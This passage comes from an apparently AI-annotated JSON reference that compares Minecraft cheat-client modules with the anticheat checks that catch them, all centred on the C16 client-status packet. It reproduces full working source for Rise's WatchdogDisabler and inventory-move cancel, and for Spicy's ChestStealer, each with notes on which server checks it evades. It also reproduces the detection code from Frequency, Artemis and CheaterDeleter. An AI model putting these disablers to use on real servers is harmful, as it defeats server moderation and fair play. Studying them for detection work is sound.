if (mc.currentScreen instanceof GuiChat || mc.currentScreen == this.getClickGUI()) {\n            return;\n        }\n\n        for (final KeyBinding bind : AFFECTED_BINDINGS) {\n            bind.setPressed(GameSettings.isKeyDown(bind));\n        }\n    };\n}\n\n// NOTE (AI): Rise 6.2.4 CancelInventoryMove: complete file. Lines ~28-46 cancel C16 open, C0B OPEN_INVENTORY and C0D close so the server's GUI state never changes while the player moves.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/CancelInventoryMove.java",
      "vanilla_hook": "PacketSendEvent (cancel C16/C0B/C0D); PreUpdateEvent (key injection).",
      "anti_cheat_notes": "The server believes the inventory never opened, so inventory-move checks that gate on the open flag never trigger. The trade-off is that legit clicks sent while 'not open' can desync the container.",
      "variations": "Rise 5.99 InvMove.java performs the C16/C0E/C0D re-wrap; Rise 6.1.30 CancelInventoryMove.java matches 6.2.4."
     },
     {
      "name": "Disabler (status abuse)",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Fire C16 status packets (PERFORM_RESPAWN or OPEN_INVENTORY_ACHIEVEMENT) to reset or fake server-side player state.",
      "how_it_works": "Rise 5.99 Disabler's c16 mode sends C16(PERFORM_RESPAWN) on a cooldown to reset the server-side player entity, clearing anti-cheat tracking; it is paired with C13 abilities and C18 spectate sends in the same mode block. Rise 6.2.4 WatchdogDisabler sends C16(OPEN_INVENTORY_ACHIEVEMENT) via sendUnregisteredPacket before replaying a cancelled C0E click, faking the open-inventory state during watchdog click abuse.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.component.impl.player.*;\nimport com.alan.clients.component.impl.player.rotationcomponent.MovementFix;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.component.impl.render.espcomponent.api.ESP;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.PostStrafeEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.MoveEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.ViewBobbingEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.rotation.RotationUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S07PacketRespawn;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.Vec3;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.*;\nimport java.util.concurrent.ThreadLocalRandom;\n\npublic class WatchdogDisabler extends Mode<Disabler> {\n    private float forward, strafe;\n    private boolean disabled;\n    private List<Short> actionNumbers;\n    private StopWatch transactionStopwatch;\n    private Queue<Vec3> positionQueue;\n    private Queue<Packet<?>> transactionQueue;\n    private Queue<Packet<?>> blinkQueue;\n    private StopWatch pingStopwatch;\n    private Integer tick;\n    private Integer ticks;\n    private boolean isSneaking;\n    private boolean set;\n    private boolean jump;\n    private double initialY = 0;\n    int time;\n    private int worldChange = 0;\n    private boolean checkedAfterTicks = false;\n    public WatchdogDisabler(String name, Disabler parent) {\n        super(name, parent);\n\n        this.positionQueue = new ArrayDeque<>();\n        this.transactionQueue = new ArrayDeque<>();\n        this.pingStopwatch = new StopWatch();\n        this.blinkQueue = new ArrayDeque<>();\n        this.actionNumbers = new ArrayList<>();\n        this.transactionStopwatch = new StopWatch();\n    }\n\n    public final BooleanValue scaffold = new BooleanValue(\"Strafe\", this, true);\n    public final BooleanValue ban = new BooleanValue(\"Jump\", this, true);\n    public final BooleanValue inventory = new BooleanValue(\"Inventory\", this, false);\n\n    @EventLink\n    private final Listener<TeleportEvent> onTeleport = event -> {\n    };\n    @EventLink(value = Priorities.HIGH)\n    Listener<MoveInputEvent> moveInput = event -> {\n        forward = event.getForward();\n        strafe = event.getStrafe();\n    };\n\n\n\n    @EventLink\n    private final Listener<PreMotionEvent> PreMotionEvent = event -> {\n        mc.gameSettings.ofDynamicFov = false;\n        time++;\n        if ((getModule(Flight.class).isEnabled() || getModule(LongJump.class).isEnabled())  && mc.thePlayer.offGroundTicks<5){\n            time = -4;\n            if(!mc.thePlayer.isSprinting()){\n                event.setSprinting(true);\n            }\n\n        }\n        switch (time) {\n\n            case 1:\n                event.setSprinting(true);\n                //    ChatUtil.display(\"start\");\n                // Send the START_SPRINTING packet\n                //     PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING));\n                // Set time to 2 to send STOP_SPRINTING in the next call\n\n                break;\n\n            case 2:\n                event.setSprinting(false);\n                //   ChatUtil.display(\"stop\");\n//ChatUtil.display(\"stop\");\n                //   mc.thePlayer.setSprinting(false);\n                //       PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n\n                // Reset time to 1 for the next cycle\n                time = (int) Math.round(-(Math.random()+1));\n                //   ChatUtil.display(time);\n                break;\n\n        }\n        /*\n        if (ban.getValue()) {\n            if (!this.actionNumbers.isEmpty() && this.transactionStopwatch.finished(1000L)) {\n                Collections.shuffle(this.actionNumbers);\n                this.actionNumbers.forEach(action -> mc.getNetHandler().getNetworkManager().sendPacket(new C0FPacketConfirmTransaction(0, action, true)));\n                this.actionNumbers.clear();\n                this.disabled = true;\n            }\n        }\n\n         */\n\n\n        worldChange++;\n        if (ban.getValue() && (mc.thePlayer.inventory.getStackInSlot(0) == null || mc.thePlayer.inventory.getStackInSlot(0).getItem() != Items.compass)) {\n\n            if (jump && mc.thePlayer.onGround) {\n\n                mc.thePlayer.jump();\n\n                jump = false;\n                set = true;\n\n            } else if (mc.thePlayer.offGroundTicks >= 10 && set) {\n\n                if (!BadPacketsComponent.bad(true, true, true, true, true) && !(getModule(Scaffold.class).isEnabled())) {\n                    Random random = new Random();\n                    float hitX = random.nextFloat();\n                    float hitZ = random.nextFloat();\n                PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), EnumFacing.UP.getIndex(), new ItemStack(Items.water_bucket), hitX, 1.0F, hitZ));\n                }\n                if (mc.thePlayer.offGroundTicks % 2 == 0) {\n\n                    RotationComponent.setRotations(new Vector2f((float) (mc.thePlayer.rotationYaw - (10) + (Math.random() - 0.5) * 3), (float) (mc.thePlayer.rotationPitch)), 4, MovementFix.OFF);// Store the BlockPos in a variabl\n                    event.setPosX(event.getPosX() + 0.095+Math.random()/100);\n                }\n            }\n        }\n        if (scaffold.getValue()) {\n            if (Math.random()<0.2 &&  !getModule(Scaffold.class).isEnabled() &&  !getModule(Flight.class).isEnabled() &&  !getModule(LongJump.class).isEnabled()) {\n                if (!BadPacketsComponent.bad(true, true, false, true, true) && !(getModule(Scaffold.class).isEnabled())) {\n                    //   ChatUtil.display(\"send\");s\n\n\n                    Random random = new Random();\n                    float hitX = random.nextFloat();\n                    float hitZ = random.nextFloat();\n\n                    PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), EnumFacing.UP.getIndex(), new ItemStack(Items.water_bucket), hitX, 1.0F, hitZ));\n                }\n            }\n\n        }\n    };\n\n    @EventLink\n    private final Listener<MoveEvent> moveEventListener = event -> {\n        if (ban.getValue() && mc.thePlayer.offGroundTicks >= 10 && set) {\n            event.setPosX(0); event.setPosY(0); event.setPosZ(0);\n        }\n    };\n\n\n\n    @EventLink\n    private final Listener<PacketReceiveEvent> packetReceiveEventListener = event -> {\n\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (ticks != null) {\n                ticks++;\n                if (ticks == 25) {\n                    set = false;\n                    ticks = 0;\n                    NotificationComponent.post(\"Watchdog Jump Disabler\", \"Automatically disabled Watchdog Jump check\", 1000);\n                }\n\n            }\n        }\n    };\n\n    @EventLink(value = Priorities.LOW)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (inventory.getValue() && !(getModule(Scaffold.class).isEnabled())) {\n            if ( tick > 0) {\n                BlinkComponent.dispatch();\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n                tick = 0;\n            } else  {\n                BlinkComponent.dispatch();\n            }\n        }\n        else{\n            BlinkComponent.dispatch();\n        }\n\n        if((MoveUtil.enoughMovementForSprinting() || getModule(Speed.class).isEnabled())  && mc.gameSettings.keyBindBack.isKeyDown()){\n\n            RotationComponent.setRotations(new Vector2f((float) Math.toDegrees(MoveUtil.direction(forward, strafe) -(float) (Math.random() * 0.1f)), mc.thePlayer.rotationPitch),\n                    Math.random()*50, MovementFix.OFF);\n        }\n    };\n    @EventLink\n    private final Listener<PacketSendEvent> packetSendEventListener = event -> {\n        if (inventory.getValue() && !(getModule(Scaffold.class).isEnabled())) {\n            if (inventory.getValue()) {\n                if (event.getPacket() instanceof C0EPacketClickWindow && ((C0EPacketClickWindow) event.getPacket()).getWindowId() == mc.thePlayer.inventoryContainer.windowId && !(mc.currentScreen instanceof GuiInventory)) {\n                    BlinkComponent.blinking = true;\n                    tick++;\n                    event.setCancelled();\n                    mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n                    mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(event.getPacket());\n\n\n                }\n            }\n\n        }\n\n\n\n\n\n\n    };\n\n    @Override\n    public void onDisable() {\n        NotificationComponent.post(\"Watchdog Disabler\",\"DO NOT DISABLE IN GAME OR YOU WILL BAN\");\n        if(time == 1){\n\n        }  else if(time == 2){\n\n        }\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        worldChange = 0;\n        if (ban.getValue() ) {\n            NotificationComponent.post(\"Watchdog Jump Disabler\", \"Disabling Jump check for Watchdog\", 5000);\n            jump = true;\n            set = false;\n            ticks = 0;\n        }\n    };\n\n\n}\n\n// NOTE (AI): Rise 6.2.4 WatchdogDisabler: complete file. Line ~241 sends C16(OPEN_INVENTORY_ACHIEVEMENT) unregistered before replaying the cancelled C0E (lines ~232-245), faking the GUI open for watchdog. Also shows the C08 water-bucket placement spam (lines ~110, 145).\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java",
      "vanilla_hook": "PacketSendEvent (C0E interception); sendUnregisteredPacket for C16.",
      "anti_cheat_notes": "PERFORM_RESPAWN outside death is a hard reset-abuse signal on servers that count entity recreations; the health > 0 guard in vanilla means the respawn is silently ignored unless the player is actually dead, which is why Rise 5.99's mode is paired with fall damage tricks. The C16-open + C0E trick only works while watchdog's click window is active.",
      "variations": "Rise 5.99 Disabler.java (c16 mode sends PERFORM_RESPAWN, line ~293); Rise 6.1.30 WatchdogDisabler.java matches 6.2.4."
     },
     {
      "name": "ChestStealer",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Automatically empty chests; references C16 open-inventory to force the GUI state while stealing.",
      "how_it_works": "Spicy ChestStealer spawns a thread on EventOpenChest that iterates the chest slots and shift-clicks each one with a randomized delay (250ms + 40ms jitter). The C16(OPEN_INVENTORY_ACHIEVEMENT) send is present but commented out in this build; the active path uses spicyHandleMouseInput on the chest container.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/world/ChestStealer.java =====\npackage info.spicyclient.modules.world;\n\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventOnLadder;\nimport info.spicyclient.events.listeners.EventOpenChest;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.inventory.Slot;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.client.C16PacketClientStatus.EnumState;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\n\npublic class ChestStealer extends Module {\n\t\n\tpublic static Thread chestStealerThread = null;\n\t\n\tNumberSetting delay = new NumberSetting(\"Delay\", 250, 0, 2000, 10);\n\t\n\tpublic ChestStealer() {\n\t\tsuper(\"Chest Stealer\", Keyboard.KEY_NONE, Category.WORLD);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tsettings.clear();\n\t\taddSettings(delay);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventOpenChest) {\n\t\t\t\n\t\t\tEventOpenChest chestEvent = (EventOpenChest) e;\n\t\t\t\n\t\t\t\n\t\t\tif (chestStealerThread == null) {\n\t\t\t\t\n\t\t\t}else {\n\t\t\t\tchestStealerThread.stop();\n\t\t\t}\n\t\t\t\n\t\t\tchestStealerThread = new Thread(new Runnable() {\n\t\t\t\t\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor (int i = 0; i < (chestEvent.chest.inventoryRows * 9); i++) {\n\t\t\t\t\t\t\tSlot slot = (Slot) chestEvent.chest.inventorySlots.inventorySlots.get(i);\n\t\t\t\t\t\t\tif (slot.getStack() != null) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tThread.sleep((long) delay.getValue() + new Random().nextInt(40));\n\t\t\t\t\t\t\t\t}catch (ThreadDeath e) {\n\t\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t                if (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t\t\t                    //mc.getNetHandler().addToSendQueue(new C16PacketClientStatus(EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n\t\t\t\t                }\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tchestEvent.chest.spicyHandleMouseInput(slot, slot.slotNumber, 0, 1);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t} catch (Exception e2) {\n\t\t\t\t\t\t// TODO: handle exception\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\tchestStealerThread.start();\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n\n// NOTE (AI): Spicy ChestStealer: complete file. The C16 open-inventory send is commented out (line ~79); the active steal loop shift-clicks slots from a background thread with randomized delay (lines ~61-97).\n",
      "code_source": "Spicy, info/spicyclient/modules/world/ChestStealer.java",
      "vanilla_hook": "EventOpenChest (pre phase) starts the steal thread.",
      "anti_cheat_notes": "The randomized delay mimics human click timing; the thread-per-chest design is the detectable part (click cadence is uniform). The commented C16 shows the intended open-inventory close trick was disabled in this build.",
      "variations": "Unique to Spicy in this corpus; other clients' chest stealers route through C0E clicks or C16 open state in their inventory managers."
     },
     {
      "name": "LuaEventPacket",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C16 to November's Lua scripting API as id 0x16 with direction, for scripted inventory-status handling.",
      "how_it_works": "packetIds maps C16PacketClientStatus.class to 0x16; the wrapper stores the id and 'out' direction from the EventPacket for Lua-side matching.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): C16 is registered as 0x16 in the serverbound id table.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out through the scripting bridge.",
      "anti_cheat_notes": "None; read-only mapping.",
      "variations": ""
     }
    ],
    "general_hooks": "PacketSendEvent (cancel C16 open), tick handlers (send C16 open), packet receive tracking (C16/C0D state machines). Spicy hooks EventPacket; Rise 6.x uses EventLink listeners and sendUnregisteredPacket. LiquidSense Dev sends C16 from a render tick in AutoArmor; November Recode 2.0 cancels C16 on EventPacket.Out in InventoryWalkModule and exposes 0x16 to scripts.",
    "client_variations": "Rise 5.99 sends C16 via sendQueue.addToSendQueue or PacketUtil.sendPacketWithoutEvent. Rise 6.2.4 uses sendUnregisteredPacket to bypass its own event system (and the PingSpoofComponent parks C16 in its blink tuple). Sigma/Spicy push raw packets to the send queue. Tenacity references C16 only in PacketUtil in this corpus. LiquidSense Dev's C16 open is paired with an immediate C0D close after the click batch; November Recode 2.0's InventoryWalkModule uses a two-mode Setting (VANILLA/CANCEL) and cancels via event.setCanceled(true).",
    "related": [
     "S07PacketRespawn",
     "C0DPacketCloseWindow",
     "C0EPacketClickWindow"
    ],
    "anticheat": {
     "overview": "The client status packet is a lifecycle signal: PERFORM_RESPAWN after death and OPEN_INVENTORY_ACHIEVEMENT to open the statistics screen. Server-side anticheats use it in two ways. Respawn handling resets movement, inventory and combat state so the player starts clean after death, and a respawn command sent at the wrong time is a disabler signature. The open-inventory command also toggles the state that inventory-move and inv-tweak checks rely on, because moving while a screen is open is what inventory move cheats do.",
     "checks": [
      {
       "name": "InventoryB (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade"
       ],
       "purpose": "Detects the open-inventory-achievement spam that inventory move and inventory tweak modules use to move while a screen is open.",
       "how_it_works": "PacketCheck on WrappedPlayInClientCommand. When the command is OPEN_INVENTORY_ACHIEVEMENT it sets the inventory flag; while the flag is set, if the player is attacking or swinging with less than 60 ms since the last flying packet, a buffer increments and fails at 3. Any flying packet clears the flag and refreshes lastFlying. The threshold of 3 keeps it tolerant of legitimate statistics-screen opens.",
       "detects": "Inventory move, inventory tweak, and modules that keep the inventory state open while attacking.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/inventory/InventoryB.java =====\npackage xyz.elevated.frequency.check.impl.inventory;\n\nimport net.minecraft.server.v1_8_R3.PacketPlayInClientCommand;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInClientCommand;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\n@CheckData(name = \"Inventory (B)\", threshold = 3)\npublic final class InventoryB extends PacketCheck {\n\n    private long lastFlying = System.currentTimeMillis();\n    private boolean inventory = false;\n    private int buffer = 0;\n\n    public InventoryB(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInClientCommand) {\n            final WrappedPlayInClientCommand wrapper = (WrappedPlayInClientCommand) object;\n\n            achievement: {\n                if (wrapper.getCommand() != PacketPlayInClientCommand.EnumClientCommand.OPEN_INVENTORY_ACHIEVEMENT) break achievement;\n\n                inventory = true;\n            }\n\n            if (inventory) {\n                final long now = System.currentTimeMillis();\n\n                final boolean lagging = now - lastFlying > 60L;\n                final boolean attacking = playerData.getActionManager().getAttacking().get();\n                final boolean swinging = playerData.getActionManager().getSwinging().get();\n\n                if (!lagging && (attacking || swinging)) {\n                    if (++buffer > 2) {\n                        fail();\n                    }\n                } else {\n                    buffer = 0;\n                }\n            }\n        } else if (object instanceof WrappedPlayInFlying) {\n            lastFlying = System.currentTimeMillis();\n            inventory = false;\n        }\n    }\n}\n\n// NOTE (AI): Frequency is a 1.8 anticheat; the same file is forked into FrequencyPlus and Degrade, which is why they share the corpus hit.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/inventory/InventoryB.java",
       "variations": "CheaterDeleter InventoryMoveCheck keys the same state off the vanilla client-command listener; AutoEye InventoryWalk flags position changes while the inventory event is open."
      },
      {
       "name": "DisablerRespawn (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Flags PERFORM_RESPAWN commands sent while the player is not dead, the classic disabler that resets server-side state without dying.",
       "how_it_works": "PacketHandler that reads GPacketPlayClientClientCommand. If the command is PERFORM_RESPAWN and the Bukkit player is not actually dead, a buffer increments and logs a violation at 3. Flying packets decay the buffer by 0.0125 per packet so lag does not accumulate it. The check annotation sets threshold 3.",
       "detects": "Respawn disablers, respawn spam, and clients that send the respawn command to reset check state without a death.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.checks.regular/src/main/java/ac/artemis/checks/regular/v2/checks/impl/disabler/DisablerRespawn.java =====\npackage ac.artemis.checks.regular.v2.checks.impl.disabler;\n\nimport ac.artemis.core.v4.check.ArtemisCheck;\nimport ac.artemis.core.v4.check.PacketHandler;\nimport ac.artemis.core.v4.check.annotations.Check;\nimport ac.artemis.anticheat.api.check.type.Type;\nimport ac.artemis.core.v4.check.settings.CheckInformation;\nimport ac.artemis.core.v4.data.PlayerData;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientClientCommand;\nimport cc.ghast.packet.wrapper.packet.play.client.*;\nimport ac.artemis.packet.wrapper.client.*;\n\n/**\n * @author Ghast\n * @since 05/07/2020\n */\n@Check(type = Type.DISABLER, var = \"RSP\", threshold = 3)\npublic class DisablerRespawn extends ArtemisCheck implements PacketHandler {\n\n    public DisablerRespawn(PlayerData data, CheckInformation info) {\n        super(data, info);\n    }\n\n    private float buffer;\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayClientClientCommand) {\n            final GPacketPlayClientClientCommand cmd = (GPacketPlayClientClientCommand) packet;\n\n            if (cmd.getCommand() != PlayerEnums.ClientCommand.PERFORM_RESPAWN) return;\n\n            flag: {\n                final boolean dead = data.getPlayer().isDead();\n\n                if (dead) {\n                    break flag;\n                }\n\n                if (buffer++ > 2) {\n                    this.log(\"\");\n                }\n            }\n        } else if (packet instanceof PacketPlayClientFlying) {\n            buffer -= 0.0125;\n        }\n    }\n}\n\n// NOTE (AI): Artemis is licensed under AGPL-3.0; the header comment credits Ghast. The buffer decay tied to flying packets is the interesting part of this check.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.checks.regular/src/main/java/ac/artemis/checks/regular/v2/checks/impl/disabler/DisablerRespawn.java",
       "variations": "NoCheatPlus validates respawn timing inside its moving checks; Frequency treats the packet only as inventory state; Grim resets its check state on the respawn flow instead of flagging."
      },
      {
       "name": "InventoryMoveCheck (CheaterDeleter)",
       "found_in": [
        "CoolMineman-CheaterDeleter"
       ],
       "purpose": "Flags movement while a container screen is open, using the vanilla client-command listener to track open state.",
       "how_it_works": "Registers a ClientCommandC2SPacketListener plus movement, packet and damage listeners. While the player has a current screen handler open and changes position, it records the open time and inspects each move: upward movement with falling velocity, or horizontal acceleration in an axis where the server velocity is zero, flags Inventory Move. The first 500 ms after opening are ignored, damage resets the deltas, and closing the screen clears the open flag.",
       "detects": "Inventory move, inventory walk and inv-tweak movement while a screen is open.",
       "detailed_code": "// ===== FILE: CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/InventoryMoveCheck.java =====\npackage io.github.coolmineman.cheaterdeleter.modules.movement;\n\nimport io.github.coolmineman.cheaterdeleter.events.PlayerMovementListener;\nimport io.github.coolmineman.cheaterdeleter.events.PacketCallback;\nimport io.github.coolmineman.cheaterdeleter.events.PlayerDamageListener;\nimport io.github.coolmineman.cheaterdeleter.modules.CDModule;\nimport io.github.coolmineman.cheaterdeleter.objects.PlayerMoveC2SPacketView;\nimport io.github.coolmineman.cheaterdeleter.objects.entity.CDPlayer;\nimport io.github.coolmineman.cheaterdeleter.util.BlockCollisionUtil;\nimport net.minecraft.entity.damage.DamageSource;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.listener.ServerPlayPacketListener;\nimport net.minecraft.network.packet.c2s.play.CloseHandledScreenC2SPacket;\nimport net.minecraft.util.ActionResult;\n\npublic class InventoryMoveCheck extends CDModule\n        implements PlayerMovementListener, PacketCallback, PlayerDamageListener {\n    public InventoryMoveCheck() {\n        super(\"inventorymove_check\");\n        PlayerMovementListener.EVENT.register(this);\n        PacketCallback.EVENT.register(this);\n        PlayerDamageListener.EVENT.register(this);\n    }\n\n    @Override\n    public long getFlagCoolDownMs() {\n        return 100;\n    }\n\n    @Override\n    public void onMovement(CDPlayer player, PlayerMoveC2SPacketView packet, MoveCause cause) {\n        if (\n            !enabledFor(player) ||\n            player.isFallFlying() ||\n            player.isSpectator() ||\n            BlockCollisionUtil.isNearby(player, 2, 4, BlockCollisionUtil.NON_SOLID_COLLISION)\n        ) {\n            return;\n        }\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        if (packet.isChangePosition() && player.getCurrentScreenHandler() != null) {\n            if (!data.wasOpen) {\n                data.wasOpen = true;\n                data.openTime = System.currentTimeMillis();\n            }\n            if (invalidateMove(player, packet)) {\n                flag(player, FlagSeverity.MINOR, \"Inventory Move\");\n            }\n        } else if (player.getCurrentScreenHandler() == null) {\n            data.lastDeltaX = Double.MAX_VALUE;\n            